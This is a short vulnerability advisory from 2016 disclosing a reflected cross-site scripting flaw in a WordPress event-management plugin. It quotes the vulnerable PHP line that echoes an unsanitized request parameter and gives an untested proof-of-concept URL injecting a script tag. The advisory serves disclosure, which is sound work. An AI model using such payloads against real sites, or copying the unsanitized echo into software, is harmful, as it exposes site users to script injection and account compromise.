Advisory #: 182
Title: Reflected XSS in wordpress plugin wp-simple-event-management-system v0.9.9rc3
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
Download Site: https://wordpress.org/plugins/wp-simple-event-management-system
Downloads: 6295
Vendor Notified: 2016-02-09
Export: Json
Vendor Contact: plugins@wordpress.org
Plugin Name: wp-simple-event-management-system
Vulnerability:
There is a reflected XSS vulnerability in the following php code ./wp-simple-event-management-system/includes/itg-em-admin-attende.php: 373: <input type="hidden" name="id" id="id" value="<?php echo $_GET['item_id']; ?>" /> The variable item_id appears to send unsanitized data back to the users browser.
CVE-ID: Not Released
File:./wp-simple-event-management-system/includes/itg-em-admin-attende.php
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. This is an untested autogenerated exploit:
  2. http://[target]/wp-content/plugins/wp-simple-event-management-system/includes/itg-em-admin-attende.php?item_id="><script>alert(1);</script><"